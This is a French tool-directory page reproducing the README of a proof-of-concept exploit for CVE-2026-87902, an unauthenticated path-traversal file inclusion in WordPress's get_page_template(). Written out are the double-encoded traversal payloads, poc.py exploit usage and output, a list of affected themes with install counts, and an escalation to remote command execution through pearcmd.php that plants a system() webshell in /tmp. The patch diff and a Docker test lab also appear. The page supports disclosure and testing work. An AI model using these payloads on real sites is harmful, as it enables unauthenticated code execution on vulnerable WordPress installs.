Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/vulpecuna/cve-2026-87902
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionOutil d'Accès à DistanceLabs et Pratique
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

PoC Python pour CVE-2026-87902, une RCE par traversée de chemin non authentifiée dans WordPress via get_page_template(), avec empreinte de version, vérifications de thème et inclusion de fichier optionnelle.

315il y a 22h 4mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-87902

AvisGHSA-7hp8-65ch-5whp
ProduitWordPress <= 7.1.1, corrigé dans 7.1.2 ; les deux versions testées
Point d'entréewp-includes/template.php, get_page_template()
Causele candidat construit à partir de pagename n'est pas passé par validate_file()
Acteuranonyme, sans compte, sans cookie, sans jeton CSRF
Méthodeun seul GET, deux paramètres
Effetinclusion et exécution d'un .php arbitraire sur disque dans le processus WordPress
Escaladeexécution de commandes à distance là où le gadget PEAR est exploitable, voir PHP et escalade
Écritures sur la cibleaucune avec le --include par défaut
Reproduit ici6 versions, 7 thèmes, 4 versions de PHP

Requête

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> est le répertoire page-, la traversée et la cible, chaque point et chaque barre oblique étant doublement encodés :

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
ChampRôle
pagenamela charge utile. WP_Query la fait passer par sanitize_title_for_query(), qui réécrit un point littéral en tiret mais préserve les octets encodés en pourcentage. get_page_template() appelle ensuite urldecode() pour décoder le résultat en chemin
page_idn'importe quelle page publiée, afin que la requête corresponde à un article au lieu de renvoyer un 404. Sans lui, le modèle de page n'est jamais chargé

Le cœur construit page-{urldecode($pagename)}.php et le résout par rapport au répertoire de la feuille de style. L'encodage est nécessaire : sanitize_title_for_query() réécrit un .. littéral en -.

Préconditions

#ConditionPourquoi
1le thème actif fournit un répertoire page-* de premier niveaule nom est page-{payload}.php, donc son premier segment doit se résoudre sur le disque
2une page publiée qui n'est ni la page d'accueil ni la page des articlesis_front_page et is_home sont essayés avant is_page
3le fichier cible se termine par .phple cœur ajoute l'extension

Aucun contenu téléversé, aucune modification de la configuration du site, du thème ou du cœur.

Les 26 thèmes affectés appellent tous le répertoire page-templates. poc.py prend le nom depuis themes.json, suppose page-templates pour un thème qui n'y figure pas, et --root le remplace par une liste séparée par des virgules.

Les hôtes Windows écartent la précondition 1. Win32 annule .. lexicalement, donc un segment qui n'existe pas est tout de même annulé par le .. qui le suit.

CheminRésultat
C:\...\wordpress\page-nothing\..\README.mdexiste
C:\...\wordpress\page-nothing\README.mdn'existe pas

Testé avec os.stat sur Windows 11, qui utilise la même gestion des chemins Win32 que file_exists() de PHP. WordPress lui-même n'a pas été exécuté sous Windows.

Utilisation

Vérification, le mode par défaut

Identifie le thème et les deux versions, puis demande si le répertoire page-* existe. Rien n'est inclus ni exécuté.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
Réponse sur page-<root>/Lecture
200le répertoire est là et liste
404aucun répertoire de ce type
403non concluant, donc une requête de contrôle pour page-<8 random hex>/ suit
403 puis contrôle 404le refus portait sur l'existence, le répertoire est là
403 puis contrôle refuséle serveur rejette tout ce qu'on lui demande, sortie 4

Affecté exige les deux : le répertoire existe, et la version est inférieure ou égale à 7.1.1.

Exploitation

Exécute d'abord la vérification, puis inclut le fichier sauf si la vérification a écarté la cible.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

Un modèle de thème rendu référence toujours /wp-content/themes/ via wp_head(), un fichier inclus depuis l'extérieur du thème non. C'est la règle de verdict.

Options

OptionDéfautEffet
--target URLrequisdéploiement à tester
--exploitdésactivéinclure un fichier après la vérification
--include PATHwp-admin/install.phple .php à inclure. Les chemins relatifs se résolvent depuis la racine WordPress, les chemins absolus remontent avec --depth
--depth N7sauts ../ pour un --include absolu
--root NAME[,NAME]depuis themes.jsonles répertoires page-* à essayer, sans le préfixe page-
--page-id IDdécouvertignorer la découverte de page
--theme SLUGdécouvertignorer la recherche du thème
--theme-version Vdécouvertignorer la recherche de la version du thème
--no-versiondésactivéne faire aucune requête dont le seul but est d'apprendre une version
--core-json PATHcore.jsonempreintes des versions, lues uniquement quand rien n'a divulgué de version
--tracedésactivéafficher chaque échange
--jsondésactivéun seul objet JSON, rien d'autre
--yesdésactivéignorer la confirmation
CodeVérificationExploitation
0affectéun .php hors du thème a été inclus
1non affecténon inclus
2pas de réponse, ou la réponse n'est pas WordPressidem
3usage, ou refus à la confirmationidem
4non concluant, voir les cas 403 et 7.1.xnon utilisé

Le --include par défaut est wp-admin/install.php : dans tous les WordPress, sortie sans ambiguïté, ne change rien.

Les certificats TLS ne sont pas vérifiés. Les certificats expirés, auto-signés et dont le nom d'hôte ne correspond pas sont acceptés.

Empreinte de version

Essayées dans l'ordre, en s'arrêtant à la première qui répond.

SourceCoûtSur 7.1.1
méta generator sur la page d'accueilgratuitversion exacte
?ver= sur un actif /wp-includes/gratuitversion exacte
/?feed=rss21 requêteversion exacte
/wp-links-opml.php1 requêteversion exacte
sha256 d'un actif servi comparé à core.json1 requêtel'ensemble des versions livrant ces octets

core.json couvre les 112 versions publiées et 7.1.2, quatre actifs chacune. Les croiser nomme 9 versions exactement et laisse une médiane de 4 candidats. Affecté exige que chaque candidat soit inférieur ou égal à 7.1.1.

7.1.1 et 7.1.2 ne peuvent pas être distingués de l'extérieur. Les trois fichiers qui diffèrent sont wp-admin/about.php, wp-includes/template.php et wp-includes/version.php, aucun d'eux n'étant servi. Un site 7.1.x qui masque sa version obtient la sortie 4.

Thèmes

Les 200 thèmes les plus installés sur wordpress.org. 26 fournissent un répertoire page-* et sont affectés, soit ensemble 765 500 des 9 027 090 installations actives. Les 174 autres échouent à la précondition 1.

ThèmeVersionInstallationspage-*StatutConfirmé
neve4.2.11200,000page-templates🔴 affectélab
sydney2.7180,000page-templates🔴 affectélab
hestia3.3.670,000page-templates🔴 affectélab
inspiro2.2.360,000page-templates🔴 affectésurvey
colibri-wp1.0.16950,000page-templates🔴 affectésurvey
twentyfourteen4.650,000page-templates🔴 affectélab
twentytwelve4.950,000page-templates🔴 affectélab
colormag4.2.540,000page-templates🔴 affectélab
zakra4.3.330,000page-templates🔴 affectésurvey
spacious1.9.1220,000page-templates

lab signifie testé de bout en bout avec poc.py contre une image standard, survey signifie que le répertoire a été lu depuis l'archive du thème et que le thème n'a pas été déployé.

Testés et non affectés, aucun d'eux ne portant de répertoire page-* : astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.

front-page.php, fourni par hestia, neve et d'autres, ne change pas l'affectation. Il exclut seulement l'ID de la page d'accueil pour la requête.

Versions

VersionThème par défaut de l'imageAvec un thème affectéConfirmé
7.1.2🟢 non affecté, twentytwentyfive🟢 non affecté, nevelab
7.1.1🟢 non affecté, twentytwentyfive🔴 affecté, nevelab
7.1.0🟢 non affecté, twentytwentyfive🔴 affecté, nevelab
7.0.4🟢 non affecté, twentytwentyfive🔴 affecté, nevelab
6.8.3🟢 non affecté, twentytwentyfive🔴 affecté, nevelab
6.1.0🟢 non affecté, twentytwentythree🔴 affecté, twentytwelvelab
4.9.8🟢 non affecté, twentyseventeen🔴 affecté, twentytwelvelab
les 105 autres versionsnon mesurénon mesurénon mesuré
Version du thèmepas une précondition, le répertoire page-* l'est. neve 4.2.11 a été utilisé sur 6.8.3 et au-dessus, twentytwelve 4.9 sur les deux cœurs plus anciens
7.1.2aucune image publiée. Testé avec lab/run.py --core 7.1.2, qui applique l'archive de version officielle par-dessus 7.1.1-apache
Prêt à l'emploiaucune version depuis la 4.1 n'est affectée. twentyfifteen à twentytwentyfive ne portent aucun répertoire page-*. twentyfourteen et twentytwelve en portent, et étaient les thèmes par défaut des 3.8 à 4.0 et de la 3.5, pour lesquelles aucune image n'est publiée
Non récupérable15 des 112 tags publiés : 14 plus anciens que 4.5.3-apache utilisent un manifeste v1 que containerd 2.1 rejette, et 4.5.3-apache a une couche que le registre ne peut pas servir

Variantes PHP publiées par version, qui décident de l'escalade ci-dessous :

Versions de WordPressVariantes PHP publiées en -apache
4.1.x à 4.5.xaucune, tag simple uniquement, 5.6
4.6.x à 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x à 5.5.x7.1 7.2 7.3 7.4
5.6.x à 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x à 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x et 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x et 7.1.x8.2 8.3 8.4 8.5

PHP et escalade

L'inclusion de fichier réussit sur les quatre images et pearcmd.php est présent dans chacune. L'exécution de commandes via le gadget nécessite register_argc_argv activé, ce que l'image php8.5 désactive.

ImagePHPregister_argc_argv
$_SERVER['argv']
RCE via pearcmd.phpConfirmé
7.1.1-php8.2-apache8.2.33Activé, peuplé🔴 uid=33(www-data)lab
7.1.1-apache8.3.33Activé, peuplé🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25Activé, peuplé🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10Désactivé, null🟢 non atteintlab

Lu via apache2handler, pas la CLI, qui force l'activation du paramètre. Les deux requêtes derrière la colonne RCE :

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py inclut un fichier, il ne pilote pas le gadget. Atteignez-le avec --include /usr/local/lib/php/pearcmd.php --depth 7. Aucun gadget autre que pearcmd.php n'a été recherché sur l'image 8.5.

Correctif

Extrait de wordpress-7.1.2.zip. Deux changements.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

Le premier corrige la branche vulnérable, le second vérifie chaque chemin de modèle résolu, quel qu'en soit le producteur. Testé : sur 7.1.2 avec neve actif et page-templates présent, la même requête rend la propre page du thème, 55 084 octets, au lieu de l'installateur.

Une seconde route existe sur 7.1.1 et antérieurs :

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
En quoi elle diffèredétourne WP_Query vers sa branche post_name, qui ne réécrit jamais pagename, donc un .. littéral fonctionne
Ce dont elle a besoinun thème sans single.php, car is_single est essayé avant is_page
Testée sur7.1.1 avec bloghash
Pourquoi elle est icielle survit à un correctif ne durcissant que le nettoyeur. La vérification de confinement ci-dessus la ferme aussi

Lab

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
Par ligne
Imagewordpress:<tag> officielle, non modifiée
Isolationconteneur propre, port propre, base de données propre dans la MariaDB partagée
Installationvia HTTP à travers wp-admin/install.php, donc aucune version n'a besoin d'un wp-cli correspondant
Étattel que l'installateur le laisse, une page publiée, rien de téléversé
Piloté avecpoc.py --exploit, donc une ligne mesure l'inclusion et non l'apparence
OptionDéfautEffet
--jobs N2lignes en parallèle
--theme SLUG[@VERSION]aucuneinstaller et activer sur chaque ligne
--core VERSIONaucuneappliquer cette version officielle par-dessus le cœur de l'image, ce qui permet d'exécuter une version sans image
--keepdésactivélaisser les instances actives, mot de passe admin affiché à la fin
--prunedésactivésupprimer les images récupérées par cette exécution
--port-base N8110premier port, un par ligne, 127.0.0.1 uniquement
--db-imagemariadb:10.6image de base de données
--timeout N180secondes accordées à un conteneur pour répondre
--out PATHlab/results.jsondétail par ligne

Codes de sortie : 0 chaque ligne mesurée, 1 au moins une ne l'a pas été, 2 Docker absent ou rien à exécuter, 3 usage ou refus. Une image WordPress fait 600 Mo à 1,1 Go, donc --all sans --prune représente des dizaines de Go.

.github/workflows/lab.yml exécute quatre lignes à chaque changement du PoC ou du lab, et chaque semaine : un thème affecté sur 7.1.1 et sur 6.8.3, le thème par défaut de l'image, et la variante php8.5. Chacune vérifie son code de sortie attendu.

Références

AvisGHSA-7hp8-65ch-5whp
Articlehttps://ressl.ch/blog/cve-2026-87902-wordpress/
Autre PoChttps://github.com/ressl/cve-2026-87902-poc

Deux idées tirées de ce PoC, toutes deux testées ici d'abord :

IdéeConservéeTestée
/index.php?rest_route= et /wp-json/ comme routes de repli pour le listing des pagesouila découverte réussit via l'une des trois
préférer une page sans modèle de page propre, puisque get_page_template() essaie ce modèle en premieroui, comme ordre de prioritéforcer une page qui en porte un a tout de même reproduit sur 7.1.1, donc cela coûte au pire une requête

Fichiers

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

Prérequis : Docker, Python 3.8+, aucun paquet tiers.

Télécharger l’outil
🔴 affecté
survey
hueman3.7.2720,000page-templates🔴 affectésurvey
bloghash1.0.3010,000page-templates🔴 affectélab
botiga2.4.910,000page-templates🔴 affectésurvey
tutorstarter4.0.310,000page-templates🔴 affectésurvey
mesmerize1.6.18710,000page-templates🔴 affectésurvey
flash1.4.1210,000page-templates🔴 affectésurvey
shapely1.3.610,000page-templates🔴 affectésurvey
silverstorm1.0.368,000page-templates🔴 affectésurvey
prespa1.7.88,000page-templates🔴 affectésurvey
hybridmag1.1.46,000page-templates🔴 affectésurvey
chromenews6.2.105,000page-templates🔴 affectésurvey
morenews4.3.105,000page-templates🔴 affectésurvey
newsexo9.12,000page-templates🔴 affectésurvey
reviewnews2.0.51,000page-templates🔴 affectésurvey
the8-shop-dark1.0.5400page-templates🔴 affectésurvey
newsonline0.6100page-templates🔴 affectésurvey